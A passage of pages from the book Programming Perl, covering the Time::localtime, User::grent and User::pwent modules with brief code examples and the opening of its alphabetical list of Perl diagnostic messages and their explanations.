This module's overrides the core localtime function, replacing it with a version that returns a Time::tm object (or undef on failure). The Time::gmtime module does the same thing, except it replaces the core gmtime function, instead. The returned object has methods that access the like-named structure field names from the C library's struct tm out of time.h; namely sec, min, hour, mday, mon, year, wday, yday, and isdst. The ctime function provides a way of getting at (the scalar sense of) the original CORE::localtime function. Note that the values returned are straight out of a struct tm, so they have the same ranges found there; see the example above for the correct way to produce a four-digit year. The POSIX::strftime function is even more useful for formatting dates and times in a variety of appealing styles.

Previous | Home | Next
32.44. Time::Local | Book Index | 32.46. User::grent
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


User::grent (Programming Perl)

 Book Home Programming PerlSearch this book

32.46. User::grent

use User::grent;
$gr = getgrgid(0)          or die "No group zero";
if ($gr->name eq "wheel" && @{$gr->members} > 1) {
    print "gid zero name wheel, with other members";
}

$gr = getgr($whoever);  # Accepts both string or number.

use User::grent ':FIELDS';
getgrgid(0)                or die "No group zero";
if ($gr_name eq "wheel" && @gr_members > 1) {
    print "gid zero name wheel, with other members";
}
This module's default exports override the core getgrent, getgruid, and getgrnam functions, replacing them with versions that return a User::grent object (or undef on failure). This object has methods that access the like-named structure fields from the C library's struct group out of grp.h; namely name, passwd, gid, and members (not mem as in C!). The first three return scalars, the last an array reference. You may also import the structure fields into your own namespace as regular variables using the ":FIELDS" import tag, although this still overrides your core functions. The variables (three scalars and an array) are named with a preceding "gr_". The getgr function is a simple frontend switch that forwards any numeric argument to getgrgid and any string argument to getgrnam.

Previous | Home | Next
32.45. Time::localtime | Book Index | 32.47. User::pwent
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


User::pwent (Programming Perl)

 Programming PerlSearch this book

32.47. User::pwent

use User::pwent;                 # Default overrides built-ins only.
$pw = getpwnam("daemon")   or die "No daemon user";
if ($pw->uid == 1 && $pw->dir =~ m#^/(bin|tmp)?$# ) {
    print "gid 1 on root dir";
}

$pw = getpw($whoever);           # Accepts both string or number.
$real_shell = $pw->shell || '/bin/sh';
for (($fullname, $office, $workphone, $homephone) =
       split /\s*,\s*/, $pw->gecos)
{
   s/&/ucfirst(lc($pw->name))/ge;
}

use User::pwent qw(:FIELDS);     # Sets globals in current package.
getpwnam("daemon")         or die "No daemon user";
if ($pw_uid == 1 && $pw_dir =~ m#^/(bin|tmp)?$# ) {
    print "gid 1 on root dir";
}

use User::pwent qw/pw_has/;
if (pw_has(qw[gecos expire quota])) { .... }
if (pw_has("name uid gid passwd"))  { .... }
printf "Your struct pwd supports [%s]\n", scalar pw_has();

By default, this module's exports override the core getpwent, getpwuid, and getpwnam functions, replacing them with versions that return a User::pwent object (or undef on failure). It is often better to use the module than the core functions it replaces, because the built-ins overload or even omit various slots in the return list in the name of backward compatibility.

The returned object has methods that access the similarly named structure field name from the C's passwd structure from pwd.h, stripped of their leading "pw_" parts, namely name, passwd, uid, gid, change, age, quota, comment, class, gecos, dir, shell, and expire. The passwd, gecos, and shell fields are tainted. You may also import the structure fields into your own namespace as regular variables using the ":FIELDS" import tag, although this still overrides your core functions. Access these fields as scalar variables named with a "pw_" prepended to the method name. The getpw function is a simple frontend switch that forwards a numeric argument to getpwuid and a string argument to getpwnam.

Perl believes that no machine ever has more than one of change, age, or quota implemented, nor more than one of either comment or class. Some machines do not support expire, gecos, or allegedly, even passwd. You may call these methods no matter what machine you're on, but they'll return undef if unimplemented. See passwd(5) and getpwent(3) for details.

You can determine whether these fields are implemented by asking the importable pw_has function about them. It returns true if all parameters are supported fields on the build platform or false if one or more were not, and it raises an exception if you ask about a field whose name it doesn't recognize. If you pass no arguments, it returns the list of fields your C library thinks are supported.

Interpretation of the gecos field varies between systems but often holds four comma-separated fields containing the user's full name, office location, work phone number, and home phone number. An & in the gecos field should be replaced by the user's properly capitalized login name. The shell field, if blank, must be assumed to be /bin/sh, although Perl does not do this for you. The passwd is one-way hashed gobbledygook, not clear text, and may not be unhashed save by brute-force guessing. Secure systems often use a more secure hashing than DES. On systems supporting shadow password systems, Perl automatically returns the shadow password entry when called by a suitably empowered user, even if your underlying vendor-provided C library was too short-sighted to realize it should do this.

Previous | Home | Next
32.46. User::grent | Book Index | 33. Diagnostic Messages
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Diagnostic Messages (Programming Perl)

 Programming PerlSearch this book

Chapter 33. Diagnostic Messages

These messages are classified as follows (listed in increasing order of desperation):

Class | Meaning
(W) | A warning (optional)
(D) | A deprecation (optional)
(S) | A severe warning (mandatory)
(F) | A fatal error (trappable)
(P) | An internal error (panic) that you should never see (trappable)
(X) | A very fatal error (nontrappable)
(A) | An alien error message (not generated by Perl)

The majority of messages from the first three classifications above (W, D, and S) can be controlled using the warnings pragma or the -w and -W switches. If a message can be controlled by the warnings pragma, its warning category is given after the classification letter; for example, (W misc) indicates a miscellaneous warning. The warnings pragma is described in Chapter 31, "Pragmatic Modules".

Warnings may be captured rather than printed by setting $SIG{__WARN__} to a reference to a routine that will be called on each warning. You can also capture control before a trappable error "dies" by setting $SIG{__DIE__} to a subroutine reference, but if you don't call die within the handler, the exception is still thrown when you return from it. In other words, you're not allowed to "de-fatalize" an exception that way. You must use eval for that.

Default warnings are always enabled unless they are explicitly disabled with the warnings pragma or the -X switch.

In the following messages, %s stands for an interpolated string that is determined only when the message is generated. (Similarly, %d stands for an interpolated number--think printf formats, but we use %d to mean a number in any base here.) Note that some messages begin with %s--which means that listing them alphabetically is problematical. You should search among these messages if the one you are looking for does not appear in the expected place. The symbols "%-?@ sort before alphabetic characters, while [ and \ sort after.

If you decide a bug is a Perl bug and not your bug, you should try to reduce it to a minimal test case and then report it with the perlbug program that comes with Perl.

"%s" variable %s masks earlier declaration in same %s

(W misc) A my or our variable has been redeclared in the current scope or statement, effectively eliminating all access to the previous instance. This is almost always a typographical error. Note that the earlier variable will still exist until the end of the scope or until all closure referents to it are destroyed.

"my sub" not yet implemented

(F) Lexically scoped subroutines are not yet implemented. Don't try that yet.

"my" variable %s can't be in a package

(F) Lexically scoped variables aren't in a package, so it doesn't make sense to try to declare one with a package qualifier in front. Use local if you want to localize a package variable.

"no" not allowed in expression

(F) The no keyword is recognized and executed at compile time and returns no useful value.

"our" variable %s redeclared

(W misc) You seem to have already declared the same global once before in the current lexical scope.

"use" not allowed in expression

(F) The use keyword is recognized and executed at compile time and returns no useful value.

'!' allowed only after types %s

(F) The '!' is allowed in pack and unpack only after certain types.

'|' and '<' may not both be specified on command line

(F) This is an error peculiar to VMS. Perl does its own command-line redirection. It found that STDIN was a pipe and that you also tried to redirect STDIN using <. Only one STDIN stream to a customer, please.

'|' and '>' may not both be specified on command line

(F) This is an error peculiar to VMS. Perl does its own command-line redirection and thinks you tried to redirect STDOUT both to a file and into a pipe to another command. You need to choose one or the other, though nothing's stopping you from piping into a program or Perl script that splits the output into two streams, such as:

open(OUT,">$ARGV[0]") or die "Can't write to $ARGV[0]: $!";
while (<STDIN>) {
    print;
    print OUT;
}
close OUT;

/ cannot take a count

(F) You had an unpack template indicating a counted-length string, but you have also specified an explicit size for the string.

/ must be followed by a, A, or Z

(F) You had an unpack template indicating a counted-length string, which must be followed by one of the letters a, A or Z to indicate what sort of string is to be unpacked.

/ must be followed by a*, A*, or Z*

(F) You had a pack template indicating a counted-length string. Currently, the only things that can have their length counted are a*, A* or Z*.

/ must follow a numeric type

(F) You had an unpack template that contained a #, but this did not follow some numeric unpack specification.

% may only be used in unpack

(F) You can't pack a string by supplying a checksum, because the checksumming process loses information, and you can't go the other way.

Repeat count in pack overflows

(F) You can't specify a repeat count so large that it overflows your signed integers.

Repeat count in unpack overflows

(F) You can't specify a repeat count so large that it overflows your signed integers.

/%s/: Unrecognized escape \\%c passed through

(W regexp) You used a backslash-character combination that is not recognized by Perl. This combination appears in an interpolated variable or a '-delimited regular expression. The character was understood literally.

/%s/: Unrecognized escape \\%c in character class passed through

(W regexp) You used a backslash-character combination that is not recognized by Perl inside character classes. The character was understood literally.

/%s/ should probably be written as "%s"

(W syntax) You have used a pattern where Perl expected to find a string, as in the first argument to join. Perl will treat the true or false result of matching the pattern against $_ as the string, which is probably not what you had in mind.

%s (...) interpreted as function

(W syntax) You've run afoul of the rule that says that any list operator followed by parentheses turns into a function, with all the list operators arguments found inside the parentheses.

%s() called too early to check prototype

(W prototype) You've called a function that has a prototype before the parser saw a definition or declaration for it, and Perl could not check that the call conforms to the prototype. You need to either add an early prototype declaration for the subroutine in question, or move the subroutine definition ahead of the call to get proper prototype checking. Alternatively, if you are certain that you're calling the function correctly, you may put an ampersand before the name to avoid the warning.

%s argument is not a HASH or ARRAY element

(F) The argument to exists must be a hash or array element, such as:

$foo{$bar}
$ref->{"susie"}[12]

%s argument is not a HASH or ARRAY element or slice

(F) The argument to delete must be either a hash or array element, such as:

$foo{$bar}
$ref->{"susie"}[12]
or a hash or array slice, such as:
@foo[$bar, $baz, $xyzzy]
@{$ref->[12]}{"susie", "queue"}

%s argument is not a subroutine name

(F) The argument to exists for exists &sub must be a subroutine name, and not a subroutine call. exists &sub() will generate this error.

%s did not return a true value

(F) A required (or used) file must return a true value to indicate that it compiled correctly and ran its initialization code correctly. It's traditional to end such a file with a 1;, though any true value would do.

%s found where operator expected

(S) The Perl lexer knows whether to expect a term or an operator. If it sees what it knows to be a term when it was expecting to see an operator, it gives you this warning. Usually it indicates that an operator or delimiter was omitted, such as a semicolon.

%s had compilation errors

(F) The final summary message when a perl -c fails.

%s has too many errors

(F) The parser has given up trying to parse the program after 10 errors. Further error messages would likely be uninformative.

%s matches null string many times

(W regexp) The pattern you've specified would be an infinite loop if the regular expression engine didn't specifically check for that.

%s never introduced

(S internal) The symbol in question was declared but somehow went out of scope before it could possibly have been used.

%s package attribute may clash with future reserved word: %s

(W reserved) A lowercase attribute name was used that had a package-specific handler. That name might have a meaning to Perl itself some day, even though it doesn't yet. Perhaps you should use a mixed-case attribute name, instead.

%s syntax OK

(F) The final summary message when a perl -c succeeds.

%s: Command not found

(A) You've accidentally run your script through csh instead of Perl. Check the #! line, or manually feed your script into Perl yourself with perl scriptname.

%s: Expression syntax

(A) You've accidentally run your script through csh instead of Perl. Check the #! line, or manually feed your script into Perl yourself with perl scriptname.

%s: Undefined variable

(A) You've accidentally run your script through csh instead of Perl. Check the #! line, or manually feed your script into Perl yourself with perl scriptname.

%s: not found

(A) You've accidentally run your script through the Bourne shell instead of Perl. Check the #! line, or manually feed your script Perl yourself with perl scriptname.

(in cleanup) %s

(W misc) This prefix usually indicates that a DESTROY method raised the indicated exception. Since destructors are usually called by the system at arbitrary points during execution, and often a vast number of times, the warning is issued only once for any number of failures that would otherwise result in the same message being repeated.

Failure of user callbacks dispatched using the G_KEEPERR flag could also result in this warning. See perlcall(1).

(Missing semicolon on previous line?)

(S) This is an educated guess made in conjunction with the message "%s found where operator expected." Don't automatically put a semicolon on the previous line just because you saw this message.

-P not allowed for setuid/setgid script

(F) The script would have to be opened by the C preprocessor by name, which provides a race condition that breaks security.

-T and -B not implemented on filehandles

(F) Perl can't peek at the standard I/O buffer of filehandles when it doesn't know about your kind of standard I/O. You'll have to use a filename instead.

-p destination: %s

(F) An error occurred during the implicit output invoked by the -p command-line switch. (This output goes to STDOUT unless you've redirected it with select.)

500 Server error

See Server error.

?+* follows nothing in regexp

(F) You started a regular expression with a quantifier. Backslash it if you meant it literally.

@ outside of string

(F) You had a pack template that specified an absolute position outside the string being unpacked.

<> should be quotes

(F) You wrote require <file> when you should have written require 'file'.

\1 better written as $1

(W syntax) Outside of patterns, backreferences live on as variables. The use of backslashes is grandfathered on the righthand side of a substitution, but stylistically it's better to use the variable form because other Perl programmers will expect it, and it works better if there are more than nine backreferences.

accept() on closed socket %s

(W closed) You tried to do an accept on a closed socket. Did you forget to check the return value of your socket call?

Allocation too large: %lx

(X) You can't allocate more than 64K on an MS-DOS machine.

Applying %s to %s will act on scalar(%s)

(W misc) The pattern match (//), substitution (s///), and transliteration (tr///) operators work on scalar values. If you apply one of them to an array or a hash, it will convert the array or hash to a scalar value--the length of an array or the population info of a hash--and then work on that scalar value. This is probably not what you meant to do.

Arg too short for msgsnd

(F) msgsnd requires a string at least as long as sizeof(long).

Ambiguous use of %s resolved as %s

(W ambiguous|S) You said something that may not be interpreted the way you thought. Normally it's pretty easy to disambiguate it by supplying a missing quote, operator, pair of parentheses, or declaration.

Ambiguous call resolved as CORE::%s(), qualify as such or use &

(W ambiguous) A subroutine you have declared has the same name as a Perl keyword, and you have used the name without qualification for calling one or the other. Perl decided to call the built-in because the subroutine is not imported.

To force interpretation as a subroutine call, either put an ampersand before the subroutine name or qualify the name with its package. Alternatively, you can import the subroutine (or pretend that it's imported with the use subs pragma).

To silently interpret it as the Perl operator, use the CORE:: prefix on the operator (e.g., CORE::log($x)) or declare the subroutine to be an object method.

Args must match #! line

(F) The setuid emulator requires that the arguments Perl was invoked with match the arguments specified on the #! line. Since some systems impose a one-argument limit on the #! line, try combining switches; for example, turn -w -U into -wU.

Argument "%s" isn't numeric

(W numeric) The indicated string was fed as an argument to an operator that expected a numeric value instead. If you're fortunate, the message will identify which operator was so unfortunate.

Array @%s missing the @ in argument %d of %s()

(D deprecated) Really old Perls let you omit the @ on array names in some spots. This is now heavily deprecated.

assertion botched: %s

(P) The malloc package that comes with Perl had an internal failure.

Assertion failed: file "%s"

(P) A general assertion failed. The file in question must be examined.

Assignment to both a list and a scalar

(F) If you assign to a conditional operator, the second and third arguments must either both be scalars or both be lists. Otherwise, Perl won't know which context to supply to the right side.

Attempt to free non-arena SV: 0x%lx

(P internal) All SV objects are supposed to be allocated from arenas that will be garbage collected on exit. An SV was discovered to be outside any of those arenas.

Attempt to free nonexistent shared string

(P internal) Perl maintains a reference-counted internal table of strings to optimize the storage and access of hash keys and other strings. This message indicates that someone tried to decrement the reference count of a string that can no longer be found in the table.

Attempt to free temp prematurely

(W debugging) Mortalized values are supposed to be freed by the internal free_tmps routine. This message indicates that something else is freeing the SV before the free_tmps routine gets a chance, which means that the free_tmps routine will be freeing an unreferenced scalar when it does try to free it.

Attempt to free unreferenced glob pointers

(P internal) The reference counts got screwed up on symbol aliases.

Attempt to free unreferenced scalar

(W internal) Perl went to decrement the reference count of a scalar to see if it would go to 0, and discovered that it had already gone to 0 earlier and should have been freed and, in fact, probably was freed. This could indicate that SvREFCNT_dec was called too many times, or that SvREFCNT_inc was called too few times, or that the SV was mortalized when it shouldn't have been, or that memory has been corrupted.

Attempt to join self

(F) You tried to join a thread from within itself, which is an impossible task. You may be joining the wrong thread, or you may need to move the join to some other thread.

Attempt to pack pointer to temporary value

(W pack) You tried to pass a temporary value (like the result of a function, or a computed expression) to the p template of pack template. This means the result contains a pointer to a location that could become invalid anytime, even before the end of the current statement. Use literals or global values as arguments to the p template of pack to avoid this warning.

Attempt to use reference as lvalue in substr

(W substr) You supplied a reference as the first argument to substr used as an lvalue, which is pretty strange. Perhaps you forgot to dereference it first.

Bad arg length for %s, is %d, should be %d

(F) You passed a buffer of the wrong size to one of msgctl, semctl or shmctl. In C parlance, the correct sizes are, respectively, sizeof(struct msqid_ds *), sizeof(struct semid_ds *), and sizeof(struct shmid_ds *).

Bad filehandle: %s

(F) A symbol was passed to something wanting a filehandle, but the symbol has no filehandle associated with it. Perhaps you didn't do an open, or did it in another package.

Bad free() ignored

(S malloc) An internal routine called free on something that had never been malloced in the first place. Mandatory, but can be disabled by setting environment variable PERL_BADFREE to 1.

This message can be seen quite often with DB_File on systems with "hard" dynamic linking, like AIX and OS/2. It's a bug in Berkeley DB.

Bad hash

(P) One of the internal hash routines was passed a null HV pointer.

Bad index while coercing array into hash

(F) The index looked up in the hash found as the 0th element of a pseudohash is not legal. Index values must be 1 or greater.

Bad name after %s::

(F) You started to name a symbol by using a package prefix and then didn't finish the symbol. In particular, you can't interpolate outside of quotes, so:

$var = 'myvar';
$sym = mypack::$var;
is not the same as:
$var = 'myvar';
$sym = "mypack::$var";

Bad realloc() ignored

(S malloc) An internal routine called realloc on something that had never been malloced in the first place. Mandatory, but can be disabled by setting environment variable PERL_BADFREE to 1.

Bad symbol for array

(P) An internal request asked to add an array entry to something that wasn't a symbol table entry.

Bad symbol for filehandle

(P) An internal request asked to add a filehandle entry to something that wasn't a symbol table entry.

Bad symbol for hash

(P) An internal request asked to add a hash entry to something that wasn't a symbol table entry.

Badly placed ()'s

(A) You've accidentally run your script through csh instead of Perl. Check the #! line, or manually feed your script into Perl yourself with perl scriptname.

Bareword "%s" not allowed while "strict subs" in use

(F) With strict subs in use, a bareword is only allowed as a subroutine identifier, in curly brackets or to the left of the => symbol. Perhaps you need to predeclare a subroutine?

Bareword "%s" refers to nonexistent package

(W bareword) You used a qualified bareword of the form Foo::, but the compiler saw no other uses of that namespace before that point. Perhaps you need to predeclare a package?

Bareword found in conditional

(W bareword) The compiler found a bareword where it expected a conditional, which often indicates that an || or && was parsed as part of the last argument of the previous construct, for example:

open FOO || die;
It may also indicate a misspelled constant that has been interpreted as a bareword:
use constant TYPO => 1;
if (TYOP) { print "foo" }
The strict pragma is useful in avoiding such errors.

BEGIN failed--compilation aborted

(F) An untrapped exception was raised while executing a BEGIN subroutine. Compilation stops immediately and the interpreter is exited.

BEGIN not safe after errors--compilation aborted

(F) Perl found a BEGIN subroutine (or a use directive, which implies a BEGIN) after one or more compilation errors had already occurred. Since the intended environment for the BEGIN could not be guaranteed (due to the errors), and since subsequent code likely depends on its correct operation, Perl just gave up.

Binary number > 0b11111111111111111111111111111111 non-portable

(W portable) The binary number you specified is larger than 2**32-1 (4,294,967,295) and therefore nonportable between systems.

bind() on closed socket %s

(W closed) You tried to do a bind on a closed socket. Did you forget to check the return value of your socket call?

Bit vector size > 32 non-portable

(W portable) Using bit vector sizes larger than 32 is nonportable.

Bizarre copy of %s in %s

(P) Perl detected an attempt to copy an internal value that is not copiable.

Buffer overflow in prime_env_iter: %s

(W internal) A warning peculiar to VMS. While Perl was preparing to iterate over %ENV, it encountered a logical name or symbol definition which was too long, so it was truncated to the string shown.

Callback called exit

(F) A subroutine invoked from an external package via call_sv exited by calling exit.

Can't "goto" out of a pseudo block

(F) A goto statement was executed to jump out of what might look like a block, except that it isn't a proper block. This usually occurs if you tried to jump out of a sort block or subroutine, which is a no-no.

Can't "goto" into the middle of a foreach loop

(F) A goto statement was executed to jump into the middle of a foreach loop. You can't get there from here.

Can't "last" outside a loop block

(F) A last statement was executed to break out of the current block, except that there's this itty-bitty problem called there isn't a current block. Note that an if or else block doesn't count as a "loopish" block, nor does a block given to sort, map, or grep. You can usually double the curlies to get the same effect, though, because the inner curlies will be considered a block that loops once.

Can't "next" outside a loop block

(F) A next statement was executed to reiterate the current block, but there isn't a current block. Note that an if or else block doesn't count as a "loopish" block, nor does a block given to sort, map, or grep. You can usually double the curlies to get the same effect though, because the inner curlies will be considered a block that loops once.

Can't read CRTL environ

(S) This is a warning peculiar to VMS. Perl tried to read an element of %ENV from the CRTL's internal environment array and discovered the array was missing. You need to figure out where your CRTL misplaced its environ or define PERL_ENV_TABLES (see perlvms(1)) so that the environ array is not searched.

Can't "redo" outside a loop block

(F) A redo statement was executed to restart the current block, but there isn't a current block. Note that an if or else block doesn't count as a "loopish" block, nor does a block given to sort, map, or grep. You can usually double the curlies to get the same effect though, because the inner curlies will be considered a block that loops once.

Can't bless non-reference value

(F) Only hard references may be blessed. This is how Perl "enforces" encapsulation of objects.

Can't break at that line

(S internal) This warning is intended to be printed only while running within the debugger, indicating the line number specified wasn't the location of a statement that could be stopped at.

Can't call method "%s" in empty package "%s"

(F) You called a method correctly, and it correctly indicated a package functioning as a class, but that package doesn't have anything defined in it, let alone methods.

Can't call method "%s" on unblessed reference

(F) A method call must know in what package it's supposed to run. It ordinarily finds this out from the object reference you supply, but you didn't supply an object reference in this case. A reference isn't an object reference until it has been blessed.

Can't call method "%s" without a package or object reference

(F) You used the syntax of a method call, but the slot filled by the object reference or package name contains an expression that returns a defined value that is neither an object reference nor a package name. Something like this will reproduce the error:

$BADREF = 42;
process $BADREF 1,2,3;
$BADREF->process(1,2,3);

Can't call method "%s" on an undefined value

(F) You used the syntax of a method call, but the slot filled by the object reference or package name contains an undefined value. Something like this will reproduce the error:

$BADREF = undef;
process $BADREF 1,2,3;
$BADREF->process(1,2,3);

Can't chdir to %s

(F) You called perl -x/foo/bar, but /foo/bar is not a directory that you can chdir to, possibly because it doesn't exist.

Can't check filesystem of script "%s" for nosuid

(P) For some reason you can't check the filesystem of the script for nosuid.

Can't coerce %s to integer in %s

(F) Certain types of SVs, in particular symbol table entries (typeglobs), can't be forced to stop being what they are. So you can't say things like:

*foo += 1;
You can say:
$foo = *foo;
$foo += 1;
but then $foo no longer contains a glob.

Can't coerce %s to number in %s

(F) Certain types of SVs, in particular symbol table entries (typeglobs), can't be forced to stop being what they are.

Can't coerce %s to string in %s

(F) Certain types of SVs, in particular symbol table entries (typeglobs), can't be forced to stop being what they are.

Can't coerce array into hash

(F) You used an array where a hash was expected, but the array has no information on how to map from keys to array indices. You can do that only with arrays that have a hash reference at index 0.

Can't create pipe mailbox

(P) This is an error peculiar to VMS. The process is suffering from exhausted quotas or other plumbing problems.

Can't declare class for non-scalar %s in "%s"

(S) Currently, only scalar variables can declared with a specific class qualifier in a my or our declaration. The semantics may be extended for other types of variables in future.

Can't declare %s in "%s"

(F) Only scalar, array, and hash variables may be declared as my or our variables. They must have ordinary identifiers as names.

Can't do inplace edit on %s: %s

(S inplace) The creation of the new file failed for the indicated reason.

Can't do inplace edit without backup

(F) You're on a system such as MS-DOS that gets confused if you try reading from a deleted (but still opened) file. You have to say -i.bak, or some such.

Can't do inplace edit: %s would not be unique

(S inplace) Your filesystem does not support filenames longer than 14 characters and Perl was unable to create a unique filename during inplace editing with the -i switch. The file was ignored.

Can't do inplace edit: %s is not a regular file

(S inplace) You tried to use the -i switch on a special file, such as a file in /dev, or a FIFO. The file was ignored.

Can't do setegid!

(P) The setegid call failed for some reason in the setuid emulator of suidperl.

Can't do seteuid!

(P) The setuid emulator of suidperl failed for some reason.

Can't do setuid

(F) This typically means that ordinary perl tried to exec suidperl to do setuid emulation, but couldn't exec it. It looks for a name of the form sperl5.000 in the same directory that the perl executable resides under the name perl5.000, typically /usr/local/bin on Unix machines. If the file is there, check the execute permissions. If it isn't, ask your sysadmin why not.

Can't do waitpid with flags

(F) This machine doesn't have either waitpid or wait4, so only waitpid without flags is emulated.

Can't do {n,m} with n > m

(F) Minima must be less than or equal to maxima. If you really want your regexp to match something 0 times, just use {0}.

Can't emulate -%s on #! line

(F) The #! line specifies a switch that doesn't make sense at this point. For example, it would be kind of silly to put a -x on the #! line.

Can't exec "%s": %s

(W exec) A system, exec, or piped open call could not execute the named program for the indicated reason. Typical reasons include the permissions were wrong on the file, the file wasn't found in $ENV{PATH}, the executable in question was compiled for another architecture, or the #! line in a script points to an interpreter that can't be run for similar reasons. (Or maybe your system doesn't support #! at all.)

Can't exec %s

(F) Perl was trying to execute the indicated program for you because that's what the #! line said to do. If that's not what you wanted, you may need to mention perl on the #! line somewhere.

Can't execute %s

(F) You used the -S switch, but the copies of the script to execute found in the PATH did not have correct permissions.

Can't find %s on PATH, '.' not in PATH

(F) You used the -S switch, but the script to execute could not be found in the PATH, or at least not with the correct permissions. The script exists in the current directory, but PATH prohibits running it.

Can't find %s on PATH

(F) You used the -S switch, but the script to execute could not be found in the PATH.

Can't find label %s

(F) You said to goto a label that isn't mentioned anywhere that it's possible for us to go to.

Can't find string terminator %s anywhere before EOF

(F) Perl strings can stretch over multiple lines. This message means that the closing delimiter was omitted. Because bracketed quotes count nesting levels, the following is missing its final parenthesis:

print q(The character '(' starts a side comment.);
If you're getting this error from a here document, you may have included unseen whitespace before or after your closing tag. A good programmer's editor will have a way to help you find these characters.

Can't fork

(F) A fatal error occurred trying to fork.

Can't get filespec - stale stat buffer?

(S) This warning is peculiar to VMS. This arises because of the difference between access checks under VMS and under the Unix model Perl assumes. Under VMS, access checks are done by filename, rather than by bits in the stat buffer, so that ACLs and other protections can be taken into account. Unfortunately, Perl assumes that the stat buffer contains all the necessary information and passes it, instead of the filespec, to the access-checking routine. It will try to retrieve the filespec using the device name and FID present in the stat buffer, but if you have made a subsequent call to the CRTL stat routine, this won't work because the device name is overwritten with each call. If this warning appears, the name lookup failed and the access-checking routine gave up and returned false, just to be conservative. (Note: the access-checking routine knows about the Perl stat operator and file tests, so you shouldn't ever see this warning in response to a Perl command; it arises only if some internal code takes stat buffers lightly.)

Can't get pipe mailbox device name

(P) This error is peculiar to VMS. After creating a mailbox to act as a pipe, Perl can't retrieve its name for later use.

Can't get SYSGEN parameter value for MAXBUF

(P) This error is peculiar to VMS. Perl asked $GETSYI how big you want your mailbox buffers to be, and it didn't get an answer.

Can't goto subroutine outside a subroutine

(F) The deeply magical goto SUBROUTINE call can only replace one subroutine call for another. It can't manufacture one out of whole cloth. In general, you should be calling it out of only an AUTOLOAD routine anyway.

Can't goto subroutine from an eval-string

(F) The goto SUBROUTINE call can't be used to jump out of an eval string. (You can use it to jump out of an eval BLOCK, but you probably don't want to.)

Can't ignore signal CHLD, forcing to default

(W signal) Perl has detected that it is being run with the SIGCHLD signal (sometimes known as SIGCLD) disabled. Since disabling this signal will interfere with proper determination of exit status of child processes, Perl has reset the signal to its default value. This situation typically indicates that the parent program under which Perl may be running (e.g., cron) is being very careless.

Can't localize through a reference

(F) You said something like local $$ref, which Perl can't currently handle because when it goes to restore the old value of whatever $ref pointed to after the scope of the local is finished, it can't be sure that $ref will still be a reference.

Can't localize lexical variable %s

(F) You used local on a variable name that was previously declared as a lexical variable using my. This is not allowed. If you want to localize a package variable of the same name, qualify it with the package name.

Can't localize pseudohash element

(F) You said something like local $ar->{'key'}, where $ar is a reference to a pseudohash. That hasn't been implemented yet, but you can get a similar effect by localizing the corresponding array element directly--local $ar->[$ar->[0]{'key'}].

Can't locate auto/%s.al in @INC

(F) A function (or method) was called in a package that allows autoloading, but there is no function to autoload. Most probable causes are a misprint in a function/method name or a failure to AutoSplit the file, say, by doing make install.

Can't locate %s

(F) You said to do (or require, or use) a file that couldn't be found. Perl looks for the file in all the locations mentioned in @INC, unless the filename included the full path to the file. Perhaps you need to set the PERL5LIB or PERL5OPT environment variable to say where the extra library is, or maybe the script needs to add the library name to @INC. Or maybe you just misspelled the name of the file.

Can't locate object method "%s" via package "%s"

(F) You called a method correctly, and it correctly indicated a package functioning as a class, but that package doesn't define that particular method, nor does any of its base classes.

Can't locate package %s for @%s::ISA

(W syntax) The @ISA array contained the name of another package that doesn't seem to exist.

Can't make list assignment to \%ENV on this system

(F) List assignment to %ENV is not supported on some systems, notably VMS.

Can't modify %s in %s

(F) You aren't allowed to assign to the item indicated or otherwise try to change it, such as with an autoincrement.

Can't modify non-lvalue subroutine call

(F) Subroutines meant to be used in lvalue context should be declared as such.

Can't modify nonexistent substring

(P) The internal routine that does assignment to a substr was handed a NULL.

Can't msgrcv to read-only var

(F) The target of a msgrcv must be modifiable to be used as a receive buffer.

Can't open %s: %s

(S inplace) The implicit opening of a file through use of the <> filehandle, either implicitly under the -n or -p command-line switches or explicitly, failed for the indicated reason. Usually this is because you don't have read permission for a file which you named on the command line.

Can't open bidirectional pipe

(W pipe) You tried to say open(CMD, "|cmd|"), which is not supported. You can try any of several modules in the Perl library to do this, such as IPC::Open2. Alternatively, direct the pipe's output to a file using >, and then read it in under a different filehandle.

Can't open error file %s as stderr

(F) This is an error peculiar to VMS. Perl does its own command-line redirection, and it couldn't open the file specified after 2> or 2>> on the command line for writing.

Can't open input file %s as stdin

(F) This is an error peculiar to VMS. Perl does its own command-line redirection, and it couldn't open the file specified after < on the command line for reading.

Can't open output file %s as stdout

(F) This is an error peculiar to VMS. Perl does its own command-line redirection, and it couldn't open the file specified after > or >> on the command line for writing.

Can't open output pipe (name: %s)

(P) This is an error peculiar to VMS. Perl does its own command-line redirection, and it couldn't open the pipe into which to send data destined for STDOUT.

Can't open perl script "%s": %s

(F) The script you specified can't be opened for the indicated reason.

Can't redefine active sort subroutine %s

(F) Perl optimizes the internal handling of sort subroutines and keeps pointers into them. You tried to redefine one such sort subroutine when it was currently active, which is not allowed. If you really want to do this, you should write sort { &func } @x instead of sort func @x.

Can't remove %s: %s, skipping file

(S inplace) You requested an inplace edit without creating a backup file. Perl was unable to remove the original file to replace it with the modified file. The file was left unmodified.

Can't rename %s to %s: %s, skipping file

(S inplace) The rename done by the -i switch failed for some reason, probably because you don't have write permission to the directory.

Can't reopen input pipe (name: %s) in binary mode

(P) An error peculiar to VMS. Perl thought STDIN was a pipe, and tried to reopen it to accept binary data. Alas, it failed.

Can't reswap uid and euid

(P) The setreuid call failed for some reason in the setuid emulator of suidperl.

Can't return outside a subroutine

(F) The return statement was executed in mainline code, that is, where there was no subroutine call to return out of.

Can't return %s from lvalue subroutine

(F) Perl detected an attempt to return illegal lvalues (such as temporary or readonly values) from a subroutine used as an lvalue. This is not allowed.

Can't stat script "%s"

(P) For some reason, you can't fstat the script even though you have it open already. Bizarre.

Can't swap uid and euid

(P) The setreuid call failed for some reason in the setuid emulator of suidperl.

Can't take log of %g

(F) For ordinary real numbers, you can't take the logarithm of a negative number or zero. There's a Math::Complex package that comes standard with Perl, though, if you really want to do that for the negative numbers.

Can't take sqrt of %g

(F) For ordinary real numbers, you can't take the square root of a negative number. There's a Math::Complex package that comes standard with Perl, though, if you really want to do that.

Can't undef active subroutine

(F) You can't undefine a routine that's currently running. You can, however, redefine it while it's running, and you can even undef the redefined subroutine while the old routine is running. Go figure.

Can't unshift

(F) You tried to unshift an "unreal" array that can't be unshifted, such as the main Perl stack.

Can't upgrade that kind of scalar

